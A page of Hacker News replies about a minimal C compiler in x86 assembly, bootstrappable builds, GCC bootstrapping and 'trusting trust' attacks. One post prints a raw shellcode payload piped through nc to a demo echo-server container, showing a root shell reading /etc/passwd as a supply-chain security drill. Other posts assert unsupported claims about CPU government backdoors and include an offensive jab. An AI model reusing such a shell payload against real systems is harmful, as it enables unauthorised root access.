Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

A minimal C compiler in x86 assembly

github.com

Post reply on HN
Print view View original

51–60 of 79 posts

Re: A minimal C compiler in x86 assembly

#51

Post by loudmax »

pabs3 wrote: post #5

This was created as part of the Bootstrappable Builds project to go from an MBR of machine code plus a ton of source all the way up to a full distro. https://bootstrappable.org/

The Goals section from the projects main page are pretty interesting: https://github.com/oriansj/stage0

  This is a set of manually created hex programs in a Cthulhu Path to madness fashion. Which only have the goal 
  of creating a bootstrapping path to a C compiler capable of compiling GCC, with only the explicit requirement 
  of a single 1 KByte binary or less.

  Additionally, all code must be able to be understood by 70% of the population of programmers. If the code can 
  not be understood by that volume, it needs to be altered until it satisfies the above requirement.
Very cool project, but I guess I won't hold out for compiling a working web browser from this project.

Re: A minimal C compiler in x86 assembly

#52

Post by ithkuil »

Yajirobe wrote: post #30
glandium wrote: post #29

Trusting trust all the way down: How do you trust your assembler to output the exact machine code corresponding to the source? How do you trust whatever program you might use to do the validation? Ok, let's skip the assembler and write machine code directly. How do you trust the program you use to write that machine code? How do you even trust the firmware will execute your machine code in the way you intend?

You write tests.

Supply chain attacks are fun.

Here's an old security drill I ran at my previous job: https://github.com/mkmik/echo-server

Follow the instructions on the README to build and run the docker container and then send a magic payload to the port and you'll get a root shell:

    $ (echo -e "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"; cat) | nc localhost 1234
    # head /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Now stare back at the https://github.com/mkmik/echo-server and try to figure out what's going on (no, it's not a buffer overflow, that's just a misdirection, and a quite effective one btw, so in order to not waste your time, I'm going to reveal that this is a supply chain attack)

Re: A minimal C compiler in x86 assembly

#53

Post by colejohnson66 »

kragen wrote: post #41
d33 wrote: post #37

Earlier quoted context omitted.

Not sure if it would work, but wouldn't it greatly complicate creating a backdoor when the host's memory is very heavily constrainted? e.g. an AVR-based "computer" that would hardly do much more than actually translate assembly to machine code?

It would probably be easier to detect, but when Thompson deployed the attack in practice, nobody noticed, even though the PDP-11 address space was the same size as an AVR's, and the CPU was a lot slower. (AVRs invariably have much less physical RAM installed than a PDP-11, but you'd need some external memory to get a C compiler to build.)

Another Ken Thompson style hack, but on an AT&T 3B2: https://www.quora.com/What-is-a-coders-worst-nightmare/answe...

Re: A minimal C compiler in x86 assembly

#54

Post by seanw444 »

Flankk wrote: post #44
jstanley wrote: post #39

Earlier quoted context omitted.

This is just a long-winded way of saying "if you can't solve everything, don't solve anything", which is no way to approach problems.

No, you've missed the point. Don't you understand? The software cannot be trusted whatsoever unless you control the entire stack. So you haven't solved anything. Also, if you think a paragraph is long winded then I'm sure you have never listened to Stallman.

You can't control when an apocalypse happens, so you might as well just not prepare for it.

That's essentially the same argument, which is ridiculous. Of course you can. And you should. Just because you can't control the entirety of a system, doesn't mean you can't take steps to minimize risks and exposure, and shrink the attack surface.

Re: A minimal C compiler in x86 assembly

#55

Post by arinlen »

matthews2 wrote: post #31
martincmartin wrote: post #28

Earlier quoted context omitted.

Their goal is to compile GCC, so whatever subset of C GCC uses.

GCC 11 and newer requires a C++11 compiler, 4.8 was the first to require C++ at all, and I think that there are some very old versions of GCC that can be built with a pre-standard C compiler.

One of the projects adopted by the bootstrappable community is maintaining GCC 4.7.

https://bootstrappable.org/projects.html

From the Projects section:

> "We propose to collectively maintain a subset of GCC 4.7 to ensure that we can build the foundation of free software distributions starting with a simple C compiler (such as tinyCC, pcc, etc)."

Re: A minimal C compiler in x86 assembly

#56

Post by adrian_b »

loudmax wrote: post #51
pabs3 wrote: post #5

This was created as part of the Bootstrappable Builds project to go from an MBR of machine code plus a ton of source all the way up to a full distro. https://bootstrappable.org/

The Goals section from the projects main page are pretty interesting: https://github.com/oriansj/stage0 This is a set of manually created hex programs in a Cthulhu Path to madness fashion. Which only have the goal of creating a bootstrapping path to a C compiler capable of compiling GCC, with only the explicit requirement of a single 1 KByte binary or less. Additionally, all code must be able to be understood by 70%…

With a working gcc, you should be able to compile all that is needed to build Chromium and Firefox.

There are a few programming languages that cannot be bootstrapped from a C or C++ compiler, so you need a binary executable of a previous compiler version for that language, but I do not think that Chromium uses any of those.

The bootstrapping of Rust is complex, but AFAIK it is possible using mrustc. Then you should be able to also compile Firefox.

Re: A minimal C compiler in x86 assembly

#57

Post by Flankk »

seanw444 wrote: post #54
Flankk wrote: post #44

Earlier quoted context omitted.

No, you've missed the point. Don't you understand? The software cannot be trusted whatsoever unless you control the entire stack. So you haven't solved anything. Also, if you think a paragraph is long winded then I'm sure you have never listened to Stallman.

You can't control when an apocalypse happens, so you might as well just not prepare for it. That's essentially the same argument, which is ridiculous. Of course you can. And you should. Just because you can't control the entirety of a system, doesn't mean you can't take steps to minimize risks and exposure, and shrink the attack surface.

That is a stupid analogy. I'm talking about a machine. You are not in control unless you build the machine yourself. Even if you were provided schematics, you cannot be sure they are accurate. The point is free software does not minimize risk. It's a false sense of security.

For things you actually care about, such a surveillance, what if I told you there is a hardware backdoor in your CPU allowing the government to spy on you? Do you realize that is already known? What about the fingerprint scanner. How can you be sure the same is not true of the hardware storing that information?

Re: A minimal C compiler in x86 assembly

#58

Post by sylware »

matthews2 wrote: post #31
martincmartin wrote: post #28

Earlier quoted context omitted.

Their goal is to compile GCC, so whatever subset of C GCC uses.

GCC 11 and newer requires a C++11 compiler, 4.8 was the first to require C++ at all, and I think that there are some very old versions of GCC that can be built with a pre-standard C compiler.

"just compiling" gcc means to have all its SDKs dependencies satisfied too...

g++ 4.7.4 is the last g++ written in simple C. In theory, you should be able to compile all gccs above 4.7.4 (with their SDKs) with g++ 4.7.4 (Last time I tried I was successful with a gcc10 for x86).

I wonder who are the "geniuses" who pushed the gcc steering committee to move gcc to C++98 (the pedophile Epstein?).

That said, the C based dialect required to compile a linux/*bsd kernel is no better either.

As for my personal opinion: much of open source software is now corpo-grade trash, but unlike toxic abominations like windoz/rottenfruitOS/etc, it is free as in free beer and heavily customizable.

Choose: plague or cholera.

Re: A minimal C compiler in x86 assembly

#59

Post by User23 »

userbinator wrote: post #47
matthews2 wrote: post #31

Earlier quoted context omitted.

GCC 11 and newer requires a C++11 compiler, 4.8 was the first to require C++ at all, and I think that there are some very old versions of GCC that can be built with a pre-standard C compiler.

You would need to compile the newer versions with the older versions. The first C++ compiler was probably written in C.

Interestingly enough, Cfront[1] was written in C++.

[1] https://en.wikipedia.org/wiki/Cfront

Re: A minimal C compiler in x86 assembly

#60

Post by User23 »

glandium wrote: post #29

Trusting trust all the way down: How do you trust your assembler to output the exact machine code corresponding to the source? How do you trust whatever program you might use to do the validation? Ok, let's skip the assembler and write machine code directly. How do you trust the program you use to write that machine code? How do you even trust the firmware will execute your machine code in the way you intend?

You break out the handy old electron microscope and check that the bits written are what you expect.
Post reply on HN